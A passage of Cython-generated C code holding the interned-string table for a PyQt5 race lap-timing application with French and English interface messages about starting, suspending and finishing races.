__pyx_k_3_3d_10_10x, sizeof(__pyx_k_3_3d_10_10x), 0, 1, 0, 0}, {&__pyx_kp_u_3d, __pyx_k_3d, sizeof(__pyx_k_3d), 0, 1, 0, 0}, {&__pyx_n_s_ActionRole, __pyx_k_ActionRole, sizeof(__pyx_k_ActionRole), 0, 0, 1, 1}, {&__pyx_kp_u_Arreter_la_course_en_cours, __pyx_k_Arreter_la_course_en_cours, sizeof(__pyx_k_Arreter_la_course_en_cours), 0, 1, 0, 0}, {&__pyx_n_s_B_Define, __pyx_k_B_Define, sizeof(__pyx_k_B_Define), 0, 0, 1, 1}, {&__pyx_n_s_B_Start, __pyx_k_B_Start, sizeof(__pyx_k_B_Start), 0, 0, 1, 1}, {&__pyx_n_s_B_Stop, __pyx_k_B_Stop, sizeof(__pyx_k_B_Stop), 0, 0, 1, 1}, {&__pyx_n_s_C_concurrents_TP_fmt, __pyx_k_C_concurrents_TP_fmt, sizeof(__pyx_k_C_concurrents_TP_fmt), 0, 0, 1, 1}, {&__pyx_n_s_Cancel, __pyx_k_Cancel, sizeof(__pyx_k_Cancel), 0, 0, 1, 1}, {&__pyx_n_s_Chrono_manageRace, __pyx_k_Chrono_manageRace, sizeof(__pyx_k_Chrono_manageRace), 0, 0, 1, 1}, {&__pyx_kp_u_Course_Meilleur_tour_s_d_s_dans, __pyx_k_Course_Meilleur_tour_s_d_s_dans, sizeof(__pyx_k_Course_Meilleur_tour_s_d_s_dans), 0, 1, 0, 0}, {&__pyx_kp_u_Course_termine_Drapeau_Damier, __pyx_k_Course_termine_Drapeau_Damier, sizeof(__pyx_k_Course_termine_Drapeau_Damier), 0, 1, 0, 0}, {&__pyx_n_s_Critical, __pyx_k_Critical, sizeof(__pyx_k_Critical), 0, 0, 1, 1}, {&__pyx_n_u_Cyan, __pyx_k_Cyan, sizeof(__pyx_k_Cyan), 0, 1, 0, 1}, {&__pyx_n_s_DescendingOrder, __pyx_k_DescendingOrder, sizeof(__pyx_k_DescendingOrder), 0, 0, 1, 1}, {&__pyx_n_u_EndTime, __pyx_k_EndTime, sizeof(__pyx_k_EndTime), 0, 1, 0, 1}, {&__pyx_kp_u_Finir_le_tour, __pyx_k_Finir_le_tour, sizeof(__pyx_k_Finir_le_tour), 0, 1, 0, 0}, {&__pyx_n_u_Finish, __pyx_k_Finish, sizeof(__pyx_k_Finish), 0, 1, 0, 1}, {&__pyx_kp_u_Finish_Flag_s_p, __pyx_k_Finish_Flag_s_p, sizeof(__pyx_k_Finish_Flag_s_p), 0, 1, 0, 0}, {&__pyx_n_s_Globals, __pyx_k_Globals, sizeof(__pyx_k_Globals), 0, 0, 1, 1}, {&__pyx_n_u_Green, __pyx_k_Green, sizeof(__pyx_k_Green), 0, 1, 0, 1}, {&__pyx_n_s_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 0, 1, 1}, {&__pyx_n_u_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 1, 0, 1}, {&__pyx_n_s_Ok, __pyx_k_Ok, sizeof(__pyx_k_Ok), 0, 0, 1, 1}, {&__pyx_n_s_PB_TimeRace, __pyx_k_PB_TimeRace, sizeof(__pyx_k_PB_TimeRace), 0, 0, 1, 1}, {&__pyx_n_s_P_Race, __pyx_k_P_Race, sizeof(__pyx_k_P_Race), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtCore, __pyx_k_PyQt5_QtCore, sizeof(__pyx_k_PyQt5_QtCore), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtGui, __pyx_k_PyQt5_QtGui, sizeof(__pyx_k_PyQt5_QtGui), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtWidgets, __pyx_k_PyQt5_QtWidgets, sizeof(__pyx_k_PyQt5_QtWidgets), 0, 0, 1, 1}, {&__pyx_n_s_QBrush, __pyx_k_QBrush, sizeof(__pyx_k_QBrush), 0, 0, 1, 1}, {&__pyx_n_s_QCheckBox, __pyx_k_QCheckBox, sizeof(__pyx_k_QCheckBox), 0, 0, 1, 1}, {&__pyx_n_s_QCoreApplication, __pyx_k_QCoreApplication, sizeof(__pyx_k_QCoreApplication), 0, 0, 1, 1}, {&__pyx_n_s_QDialog, __pyx_k_QDialog, sizeof(__pyx_k_QDialog), 0, 0, 1, 1}, {&__pyx_n_s_QIcon, __pyx_k_QIcon, sizeof(__pyx_k_QIcon), 0, 0, 1, 1}, {&__pyx_n_s_QMessageBox, __pyx_k_QMessageBox, sizeof(__pyx_k_QMessageBox), 0, 0, 1, 1}, {&__pyx_n_s_QTableWidgetItem, __pyx_k_QTableWidgetItem, sizeof(__pyx_k_QTableWidgetItem), 0, 0, 1, 1}, {&__pyx_n_s_QTime, __pyx_k_QTime, sizeof(__pyx_k_QTime), 0, 0, 1, 1}, {&__pyx_n_s_QTimer, __pyx_k_QTimer, sizeof(__pyx_k_QTimer), 0, 0, 1, 1}, {&__pyx_n_s_Qt, __pyx_k_Qt, sizeof(__pyx_k_Qt), 0, 0, 1, 1}, {&__pyx_n_s_Queue, __pyx_k_Queue, sizeof(__pyx_k_Queue), 0, 0, 1, 1}, {&__pyx_n_s_R_RaceLive, __pyx_k_R_RaceLive, sizeof(__pyx_k_R_RaceLive), 0, 0, 1, 1}, {&__pyx_kp_u_Race_ended_all_racer_out, __pyx_k_Race_ended_all_racer_out, sizeof(__pyx_k_Race_ended_all_racer_out), 0, 1, 0, 0}, {&__pyx_n_s_SolidPattern, __pyx_k_SolidPattern, sizeof(__pyx_k_SolidPattern), 0, 0, 1, 1}, {&__pyx_n_u_Start, __pyx_k_Start, sizeof(__pyx_k_Start), 0, 1, 0, 1}, {&__pyx_n_u_Stop, __pyx_k_Stop, sizeof(__pyx_k_Stop), 0, 1, 0, 1}, {&__pyx_kp_u_Stop_de_course_Drapeau_ROUGE, __pyx_k_Stop_de_course_Drapeau_ROUGE, sizeof(__pyx_k_Stop_de_course_Drapeau_ROUGE), 0, 1, 0, 0}, {&__pyx_kp_u_Stopping_Race, __pyx_k_Stopping_Race, sizeof(__pyx_k_Stopping_Race), 0, 1, 0, 0}, {&__pyx_kp_u_Stopping_Race_and_finishing_lap, __pyx_k_Stopping_Race_and_finishing_lap, sizeof(__pyx_k_Stopping_Race_and_finishing_lap), 0, 1, 0, 0}, {&__pyx_n_u_Suspend, __pyx_k_Suspend, sizeof(__pyx_k_Suspend), 0, 1, 0, 1}, {&__pyx_kp_u_Suspending_Race, __pyx_k_Suspending_Race, sizeof(__pyx_k_Suspending_Race), 0, 1, 0, 0}, {&__pyx_kp_u_Suspendre_la_course, __pyx_k_Suspendre_la_course, sizeof(__pyx_k_Suspendre_la_course), 0, 1, 0, 0}, {&__pyx_kp_u_Time_finished_s_Laps_d_d_p, __pyx_k_Time_finished_s_Laps_d_d_p, sizeof(__pyx_k_Time_finished_s_Laps_d_d_p), 0, 1, 0, 0}, {&__pyx_kp_u_Tout_le_classement_sera_perdu_en, __pyx_k_Tout_le_classement_sera_perdu_en, sizeof(__pyx_k_Tout_le_classement_sera_perdu_en), 0, 1, 0, 0}, {&__pyx_kp_u_Tout_les_concurrents_sont_hors_d, __pyx_k_Tout_les_concurrents_sont_hors_d, sizeof(__pyx_k_Tout_les_concurrents_sont_hors_d), 0, 1, 0, 0}, {&__pyx_n_s_Ui_set_RaceLen, __pyx_k_Ui_set_RaceLen, sizeof(__pyx_k_Ui_set_RaceLen), 0, 0, 1, 1}, {&__pyx_kp_u_Unknow_TP__d, __pyx_k_Unknow_TP__d, sizeof(__pyx_k_Unknow_TP__d), 0, 1, 0, 0}, {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, {&__pyx_n_u_Violet, __pyx_k_Violet, sizeof(__pyx_k_Violet), 0, 1, 0, 1}, {&__pyx_n_u_Waiting, __pyx_k_Waiting, sizeof(__pyx_k_Waiting), 0, 1, 0, 1}, {&__pyx_n_s_Warning, __pyx_k_Warning, sizeof(__pyx_k_Warning), 0, 0, 1, 1}, {&__pyx_n_u_White, __pyx_k_White, sizeof(__pyx_k_White), 0, 1, 0, 1}, {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0}, {&__pyx_n_s_addButton, __pyx_k_addButton, sizeof(__pyx_k_addButton), 0, 0, 1, 1}, {&__pyx_n_s_append, __pyx_k_append, sizeof(__pyx_k_append), 0, 0, 1, 1}, {&__pyx_n_s_basecol, __pyx_k_basecol, sizeof(__pyx_k_basecol), 0, 0, 1, 1}, {&__pyx_n_u_best, __pyx_k_best, sizeof(__pyx_k_best), 0, 1, 0, 1}, {&__pyx_n_s_bestLap, __pyx_k_bestLap, sizeof(__pyx_k_bestLap), 0, 0, 1, 1}, {&__pyx_n_s_bestLapTb, __pyx_k_bestLapTb, sizeof(__pyx_k_bestLapTb), 0, 0, 1, 1}, {&__pyx_n_s_bestPartial, __pyx_k_bestPartial, sizeof(__pyx_k_bestPartial), 0, 0, 1, 1}, {&__pyx_n_u_bestlap, __pyx_k_bestlap, sizeof(__pyx_k_bestlap), 0, 1, 0, 1}, {&__pyx_n_s_brush, __pyx_k_brush, sizeof(__pyx_k_brush), 0, 0, 1, 1}, {&__pyx_n_s_btn, __pyx_k_btn, sizeof(__pyx_k_btn), 0, 0, 1, 1}, {&__pyx_n_s_c, __pyx_k_c, sizeof(__pyx_k_c), 0, 0, 1, 1}, {&__pyx_n_s_char_width, __pyx_k_char_width, sizeof(__pyx_k_char_width), 0, 0, 1, 1}, {&__pyx_n_s_chk1, __pyx_k_chk1, sizeof(__pyx_k_chk1), 0, 0, 1, 1}, {&__pyx_n_s_cl, __pyx_k_cl, sizeof(__pyx_k_cl), 0, 0, 1, 1}, {&__pyx_n_s_clickedButton, __pyx_k_clickedButton, sizeof(__pyx_k_clickedButton), 0, 0, 1, 1}, {&__pyx_n_s_cmdEndTime, __pyx_k_cmdEndTime, sizeof(__pyx_k_cmdEndTime), 0, 0, 1, 1}, {&__pyx_n_s_cmdFinish, __pyx_k_cmdFinish, sizeof(__pyx_k_cmdFinish), 0, 0, 1, 1}, {&__pyx_n_s_cmdStart, __pyx_k_cmdStart, sizeof(__pyx_k_cmdStart), 0, 0, 1, 1}, {&__pyx_n_s_cmdStop, __pyx_k_cmdStop, sizeof(__pyx_k_cmdStop), 0, 0, 1, 1}, {&__pyx_n_s_cmdSuspend, __pyx_k_cmdSuspend, sizeof(__pyx_k_cmdSuspend), 0, 0, 1, 1}, {&__pyx_n_s_cmdSuspended, __pyx_k_cmdSuspended, sizeof(__pyx_k_cmdSuspended), 0, 0, 1, 1}, {&__pyx_n_s_cmdWaiting, __pyx_k_cmdWaiting, sizeof(__pyx_k_cmdWaiting), 0, 0, 1, 1}, {&__pyx_n_s_col, __pyx_k_col, sizeof(__pyx_k_col), 0, 0, 1, 1}, {&__pyx_n_s_color, __pyx_k_color, sizeof(__pyx_k_color), 0, 0, 1, 1}, {&__pyx_n_s_colors, __pyx_k_colors, sizeof(__pyx_k_colors), 0, 0, 1, 1}, {&__pyx_n_s_cols, __pyx_k_cols, sizeof(__pyx_k_cols), 0, 0, 1, 1}, {&__pyx_n_s_column, __pyx_k_column, sizeof(__pyx_k_column), 0, 0, 1, 1}, {&__pyx_n_s_connect, __pyx_k_connect, sizeof(__pyx_k_connect), 0, 0, 1, 1}, {&__pyx_n_s_createTime, __pyx_k_createTime, sizeof(__pyx_k_createTime), 0, 0, 1, 1}, {&__pyx_n_s_createTimeSeconds, __pyx_k_createTimeSeconds, sizeof(__pyx_k_createTimeSeconds), 0, 0, 1, 1}, {&__pyx_n_s_curtime, __pyx_k_curtime, sizeof(__pyx_k_curtime), 0, 0, 1, 1}, {&__pyx_n_s_decoder, __pyx_k_decoder, sizeof(__pyx_k_decoder), 0, 0, 1, 1}, {&__pyx_kp_u_def_requestDefine_self, __pyx_k_def_requestDefine_self, sizeof(__pyx_k_def_requestDefine_self), 0, 1, 0, 0}, {&__pyx_n_s_dictRace, __pyx_k_dictRace, sizeof(__pyx_k_dictRace), 0, 0, 1, 1}, {&__pyx_n_s_dlg, __pyx_k_dlg, sizeof(__pyx_k_dlg), 0, 0, 1, 1}, {&__pyx_n_s_doRace, __pyx_k_doRace, sizeof(__pyx_k_doRace), 0, 0, 1, 1}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_s_dur, __pyx_k_dur, sizeof(__pyx_k_dur), 0, 0, 1, 1}, {&__pyx_n_s_durETimeEdit, __pyx_k_durETimeEdit, sizeof(__pyx_k_durETimeEdit), 0, 0, 1, 1}, {&__pyx_n_s_duration, __pyx_k_duration, sizeof(__pyx_k_duration), 0, 0, 1, 1}, {&__pyx_n_s_duration_2, __pyx_k_duration_2, sizeof(__pyx_k_duration_2), 0, 0, 1, 1}, {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, {&__pyx_n_s_empty, __pyx_k_empty, sizeof(__pyx_k_empty), 0, 0, 1, 1}, {&__pyx_n_u_ended, __pyx_k_ended, sizeof(__pyx_k_ended), 0, 1, 0, 1}, {&__pyx_n_s_exec, __pyx_k_exec, sizeof(__pyx_k_exec), 0, 0, 1, 1}, {&__pyx_kp_u_finish_flag, __pyx_k_finish_flag, sizeof(__pyx_k_finish_flag), 0, 1, 0, 0}, {&__pyx_n_s_getActualRace, __pyx_k_getActualRace, sizeof(__pyx_k_getActualRace), 0, 0, 1, 1}, {&__pyx_n_s_get_nowait, __pyx_k_get_nowait, sizeof(__pyx_k_get_nowait), 0, 0, 1, 1}, {&__pyx_kp_u_got_an_error, __pyx_k_got_an_error, sizeof(__pyx_k_got_an_error), 0, 1, 0, 0}, {&__pyx_n_s_gui, __pyx_k_gui, sizeof(__pyx_k_gui), 0, 0, 1, 1}, {&__pyx_n_s_gui_Ui_set_RaceLen, __pyx_k_gui_Ui_set_RaceLen, sizeof(__pyx_k_gui_Ui_set_RaceLen), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_s_hour, __pyx_k_hour, sizeof(__pyx_k_hour), 0, 0, 1, 1}, {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, {&__pyx_n_s_icon, __pyx_k_icon, sizeof(__pyx_k_icon), 0, 0, 1, 1}, {&__pyx_n_s_icons, __pyx_k_icons, sizeof(__pyx_k_icons), 0, 0, 1, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_kp_u_in_manageRace_update, __pyx_k_in_manageRace_update, sizeof(__pyx_k_in_manageRace_update), 0, 1, 0, 0}, {&__pyx_kp_u_in_update_setLine_color_d_d_s, __pyx_k_in_update_setLine_color_d_d_s, sizeof(__pyx_k_in_update_setLine_color_d_d_s), 0, 1, 0, 0}, {&__pyx_n_s_index, __pyx_k_index, sizeof(__pyx_k_index), 0, 0, 1, 1}, {&__pyx_n_s_indexOf, __pyx_k_indexOf, sizeof(__pyx_k_indexOf), 0, 0, 1, 1}, {&__pyx_n_s_init, __pyx_k_init, sizeof(__pyx_k_init), 0, 0, 1, 1}, {&__pyx_n_s_isChecked, __pyx_k_isChecked, sizeof(__pyx_k_isChecked), 0, 0, 1, 1}, {&__pyx_n_s_item, __pyx_k_item, sizeof(__pyx_k_item), 0, 0, 1, 1}, {&__pyx_n_s_items, __pyx_k_items, sizeof(__pyx_k_items), 0, 0, 1, 1}, {&__pyx_n_s_key, __pyx_k_key, sizeof(__pyx_k_key), 0, 0, 1, 1}, {&__pyx_n_s_l, __pyx_k_l, sizeof(__pyx_k_l), 0, 0, 1, 1}, {&__pyx_n_s_lap, __pyx_k_lap, sizeof(__pyx_k_lap), 0, 0, 1, 1}, {&__pyx_n_u_lapcount, __pyx_k_lapcount, sizeof(__pyx_k_lapcount), 0, 1, 0, 1}, {&__pyx_n_s_laps, __pyx_k_laps, sizeof(__pyx_k_laps), 0, 0, 1, 1}, {&__pyx_n_u_laps, __pyx_k_laps, sizeof(__pyx_k_laps), 0, 1, 0, 1}, {&__pyx_n_s_laps_2, __pyx_k_laps_2, sizeof(__pyx_k_laps_2), 0, 0, 1, 1}, {&__pyx_n_s_laps_width, __pyx_k_laps_width, sizeof(__pyx_k_laps_width), 0, 0, 1, 1}, {&__pyx_n_u_last, __pyx_k_last, sizeof(__pyx_k_last), 0, 1, 0, 1}, {&__pyx_n_u_lastlap, __pyx_k_lastlap, sizeof(__pyx_k_lastlap), 0, 1, 0, 1}, {&__pyx_n_u_lasttick, __pyx_k_lasttick, sizeof(__pyx_k_lasttick), 0, 1, 0, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_manageRace, __pyx_k_manageRace, sizeof(__pyx_k_manageRace), 0, 0, 1, 1}, {&__pyx_n_s_manageRace___init, __pyx_k_manageRace___init, sizeof(__pyx_k_manageRace___init), 0, 0, 1, 1}, {&__pyx_kp_u_manageRace___init___d_d_s, __pyx_k_manageRace___init___d_d_s, sizeof(__pyx_k_manageRace___init___d_d_s), 0, 1, 0, 0}, {&__pyx_n_s_manageRace_doRace, __pyx_k_manageRace_doRace, sizeof(__pyx_k_manageRace_doRace), 0, 0, 1, 1}, {&__pyx_n_s_manageRace_doRace_locals_lambda, __pyx_k_manageRace_doRace_locals_lambda, sizeof(__pyx_k_manageRace_doRace_locals_lambda), 0, 0, 1, 1}, {&__pyx_n_s_manageRace_requestDefine, __pyx_k_manageRace_requestDefine, sizeof(__pyx_k_manageRace_requestDefine), 0, 0, 1, 1}, {&__pyx_n_s_manageRace_start, __pyx_k_manageRace_start, sizeof(__pyx_k_manageRace_start), 0, 0, 1, 1}, {&__pyx_n_s_manageRace_stop, __pyx_k_manageRace_stop, sizeof(__pyx_k_manageRace_stop), 0, 0, 1, 1}, {&__pyx_n_s_manageRace_update, __pyx_k_manageRace_update, sizeof(__pyx_k_manageRace_update), 0, 0, 1, 1}, {&__pyx_n_s_manageRace_update_locals_setLine, __pyx_k_manageRace_update_locals_setLine, sizeof(__pyx_k_manageRace_update_locals_setLine), 0, 0, 1, 1}, {&__pyx_n_s_max_time, __pyx_k_max_time, sizeof(__pyx_k_max_time), 0, 0, 1, 1}, {&__pyx_n_s_maxrows, __pyx_k_maxrows, sizeof(__pyx_k_maxrows), 0, 0, 1, 1}, {&__pyx_n_s_maxsize, __pyx_k_maxsize, sizeof(__pyx_k_maxsize), 0, 0, 1, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_millis, __pyx_k_millis, sizeof(__pyx_k_millis), 0, 0, 1, 1}, {&__pyx_n_s_minute, __pyx_k_minute, sizeof(__pyx_k_minute), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_s_msg, __pyx_k_msg, sizeof(__pyx_k_msg), 0, 0, 1, 1}, {&__pyx_n_u_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 1, 0, 1}, {&__pyx_n_s_name_width, __pyx_k_name_width, sizeof(__pyx_k_name_width), 0, 0, 1, 1}, {&__pyx_n_s_nbTourIntNumInput, __pyx_k_nbTourIntNumInput, sizeof(__pyx_k_nbTourIntNumInput), 0, 0, 1, 1}, {&__pyx_n_u_nom, __pyx_k_nom, sizeof(__pyx_k_nom), 0, 1, 0, 1}, {&__pyx_n_u_num, __pyx_k_num, sizeof(__pyx_k_num), 0, 1, 0, 1}, {&__pyx_n_s_num_width, __pyx_k_num_width, sizeof(__pyx_k_num_width), 0, 0, 1, 1}, {&__pyx_n_u_numero, __pyx_k_numero, sizeof(__pyx_k_numero), 0, 1, 0, 1}, {&__pyx_n_u_partial, __pyx_k_partial, sizeof(__pyx_k_partial), 0, 1, 0, 1}, {&__pyx_n_s_partials, __pyx_k_partials, sizeof(__pyx_k_partials), 0, 0, 1, 1}, {&__pyx_n_u_preferences, __pyx_k_preferences, sizeof(__pyx_k_preferences), 0, 1, 0, 1}, {&__pyx_n_u_prenom, __pyx_k_prenom, sizeof(__pyx_k_prenom), 0, 1, 0, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1}, {&__pyx_n_s_private, __pyx_k_private, sizeof(__pyx_k_private), 0, 0, 1, 1}, {&__pyx_n_s_ptt, __pyx_k_ptt, sizeof(__pyx_k_ptt), 0, 0, 1, 1}, {&__pyx_n_s_q, __pyx_k_q, sizeof(__pyx_k_q), 0, 0, 1, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_s_queue, __pyx_k_queue, sizeof(__pyx_k_queue), 0, 0, 1, 1}, {&__pyx_n_u_queue, __pyx_k_queue, sizeof(__pyx_k_queue), 0, 1, 0, 1}, {&__pyx_n_s_r, __pyx_k_r, sizeof(__pyx_k_r), 0, 0, 1, 1}, {&__pyx_n_u_race, __pyx_k_race, sizeof(__pyx_k_race), 0, 1, 0, 1}, {&__pyx_n_s_raceDuration, __pyx_k_raceDuration, sizeof(__pyx_k_raceDuration), 0, 0, 1, 1}, {&__pyx_n_s_raceLaps, __pyx_k_raceLaps, sizeof(__pyx_k_raceLaps), 0, 0, 1, 1}, {&__pyx_n_s_raceTime, __pyx_k_raceTime, sizeof(__pyx_k_raceTime), 0, 0, 1, 1}, {&__pyx_n_s_racerList, __pyx_k_racerList, sizeof(__pyx_k_racerList), 0, 0, 1, 1}, {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, {&__pyx_n_s_receiver, __pyx_k_receiver, sizeof(__pyx_k_receiver), 0, 0, 1, 1}, {&__pyx_n_s_remain_lap, __pyx_k_remain_lap, sizeof(__pyx_k_remain_lap), 0, 0, 1, 1}, {&__pyx_n_u_remticks, __pyx_k_remticks, sizeof(__pyx_k_remticks), 0, 1, 0, 1}, {&__pyx_n_s_requestDefine, __pyx_k_requestDefine, sizeof(__pyx_k_requestDefine), 0, 0, 1, 1}, {&__pyx_n_s_reverse, __pyx_k_reverse, sizeof(__pyx_k_reverse), 0, 0, 1, 1}, {&__pyx_n_u_ridername, __pyx_k_ridername, sizeof(__pyx_k_ridername), 0, 1, 0, 1}, {&__pyx_n_u_ridernum, __pyx_k_ridernum, sizeof(__pyx_k_ridernum), 0, 1, 0, 1}, {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, {&__pyx_n_u_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 1, 0, 1}, {&__pyx_kp_u_s, __pyx_k_s, sizeof(__pyx_k_s), 0, 1, 0, 0}, {&__pyx_kp_u_s_s, __pyx_k_s_s, sizeof(__pyx_k_s_s), 0, 1, 0, 0}, {&__pyx_kp_u_s_s_p, __pyx_k_s_s_p, sizeof(__pyx_k_s_s_p), 0, 1, 0, 0}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_setBackground, __pyx_k_setBackground, sizeof(__pyx_k_setBackground), 0, 0, 1, 1}, {&__pyx_n_s_setCheckBox, __pyx_k_setCheckBox, sizeof(__pyx_k_setCheckBox), 0, 0, 1, 1}, {&__pyx_n_s_setColumnCount, __pyx_k_setColumnCount, sizeof(__pyx_k_setColumnCount), 0, 0, 1, 1}, {&__pyx_n_s_setColumnHidden, __pyx_k_setColumnHidden, sizeof(__pyx_k_setColumnHidden), 0, 0, 1, 1}, {&__pyx_n_s_setColumnWidth, __pyx_k_setColumnWidth, sizeof(__pyx_k_setColumnWidth), 0, 0, 1, 1}, {&__pyx_n_s_setCurrentIndex, __pyx_k_setCurrentIndex, sizeof(__pyx_k_setCurrentIndex), 0, 0, 1, 1}, {&__pyx_n_s_setDefaultButton, __pyx_k_setDefaultButton, sizeof(__pyx_k_setDefaultButton), 0, 0, 1, 1}, {&__pyx_n_s_setEnabled, __pyx_k_setEnabled, sizeof(__pyx_k_setEnabled), 0, 0, 1, 1}, {&__pyx_n_s_setFormat, __pyx_k_setFormat, sizeof(__pyx_k_setFormat), 0, 0, 1, 1}, {&__pyx_n_s_setHorizontalHeaderItem, __pyx_k_setHorizontalHeaderItem, sizeof(__pyx_k_setHorizontalHeaderItem), 0, 0, 1, 1}, {&__pyx_n_s_setIcon, __pyx_k_setIcon, sizeof(__pyx_k_setIcon), 0, 0, 1, 1}, {&__pyx_n_s_setInformativeText, __pyx_k_setInformativeText, sizeof(__pyx_k_setInformativeText), 0, 0, 1, 1}, {&__pyx_n_s_setItem, __pyx_k_setItem, sizeof(__pyx_k_setItem), 0, 0, 1, 1}, {&__pyx_n_s_setItemText, __pyx_k_setItemText, sizeof(__pyx_k_setItemText), 0, 0, 1, 1}, {&__pyx_n_s_setLine, __pyx_k_setLine, sizeof(__pyx_k_setLine), 0, 0, 1, 1}, {&__pyx_n_s_setMaximum, __pyx_k_setMaximum, sizeof(__pyx_k_setMaximum), 0, 0, 1, 1}, {&__pyx_n_s_setProperty, __pyx_k_setProperty, sizeof(__pyx_k_setProperty), 0, 0, 1, 1}, {&__pyx_n_s_setRowCount, __pyx_k_setRowCount, sizeof(__pyx_k_setRowCount), 0, 0, 1, 1}, {&__pyx_n_s_setStandardButtons, __pyx_k_setStandardButtons, sizeof(__pyx_k_setStandardButtons), 0, 0, 1, 1}, {&__pyx_n_s_setStyle, __pyx_k_setStyle, sizeof(__pyx_k_setStyle), 0, 0, 1, 1}, {&__pyx_n_s_setText, __pyx_k_setText, sizeof(__pyx_k_setText), 0, 0, 1, 1}, {&__pyx_n_s_setTime, __pyx_k_setTime, sizeof(__pyx_k_setTime), 0, 0, 1, 1}, {&__pyx_n_s_setValue, __pyx_k_setValue, sizeof(__pyx_k_setValue), 0, 0, 1, 1}, {&__pyx_n_s_setWindowTitle, __pyx_k_setWindowTitle, sizeof(__pyx_k_setWindowTitle), 0, 0, 1, 1}, {&__pyx_n_s_setupUi, __pyx_k_setupUi, sizeof(__pyx_k_setupUi), 0, 0, 1, 1}, {&__pyx_n_u_short, __pyx_k_short, sizeof(__pyx_k_short), 0, 1, 0, 1}, {&__pyx_n_s_show, __pyx_k_show, sizeof(__pyx_k_show), 0, 0, 1, 1}, {&__pyx_n_s_sortItems, __pyx_k_sortItems, sizeof(__pyx_k_sortItems), 0, 0, 1, 1}, {&__pyx_n_s_sorted, __pyx_k_sorted, sizeof(__pyx_k_sorted), 0, 0, 1, 1}, {&__pyx_n_s_start, __pyx_k_start, sizeof(__pyx_k_start), 0, 0, 1, 1}, {&__pyx_n_s_start_time, __pyx_k_start_time, sizeof(__pyx_k_start_time), 0, 0, 1, 1}, {&__pyx_n_s_start_time_ms, __pyx_k_start_time_ms, sizeof(__pyx_k_start_time_ms), 0, 0, 1, 1}, {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, {&__pyx_n_s_status_2, __pyx_k_status_2, sizeof(__pyx_k_status_2), 0, 0, 1, 1}, {&__pyx_n_s_stop, __pyx_k_stop, sizeof(__pyx_k_stop), 0, 0, 1, 1}, {&__pyx_n_s_t, __pyx_k_t, sizeof(__pyx_k_t), 0, 0, 1, 1}, {&__pyx_n_s_task, __pyx_k_task, sizeof(__pyx_k_task), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, {&__pyx_n_u_textcolor, __pyx_k_textcolor, sizeof(__pyx_k_textcolor), 0, 1, 0, 1}, {&__pyx_n_s_theRace, __pyx_k_theRace, sizeof(__pyx_k_theRace), 0, 0, 1, 1}, {&__pyx_n_s_tick, __pyx_k_tick, sizeof(__pyx_k_tick), 0, 0, 1, 1}, {&__pyx_n_s_time, __pyx_k_time, sizeof(__pyx_k_time), 0, 0, 1, 1}, {&__pyx_n_u_time, __pyx_k_time, sizeof(__pyx_k_time), 0, 1, 0, 1}, {&__pyx_n_s_time_width, __pyx_k_time_width, sizeof(__pyx_k_time_width), 0, 0, 1, 1}, {&__pyx_n_s_timeout, __pyx_k_timeout, sizeof(__pyx_k_timeout), 0, 0, 1, 1}, {&__pyx_n_s_timer, __pyx_k_timer, sizeof(__pyx_k_timer), 0, 0, 1, 1}, {&__pyx_n_s_toolBox, __pyx_k_toolBox, sizeof(__pyx_k_toolBox), 0, 0, 1, 1}, {&__pyx_n_u_totticks, __pyx_k_totticks, sizeof(__pyx_k_totticks), 0, 1, 0, 1}, {&__pyx_n_s_tp, __pyx_k_tp, sizeof(__pyx_k_tp), 0, 0, 1, 1}, {&__pyx_n_s_tpRacerList, __pyx_k_tpRacerList, sizeof(__pyx_k_tpRacerList), 0, 0, 1, 1}, {&__pyx_n_s_translate, __pyx_k_translate, sizeof(__pyx_k_translate), 0, 0, 1, 1}, {&__pyx_n_s_tt, __pyx_k_tt, sizeof(__pyx_k_tt), 0, 0, 1, 1}, {&__pyx_n_s_txt, __pyx_k_txt, sizeof(__pyx_k_txt), 0, 0, 1, 1}, {&__pyx_n_s_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 0, 1, 1}, {&__pyx_n_u_type, __pyx_k_type, sizeof(__pyx_k_type), 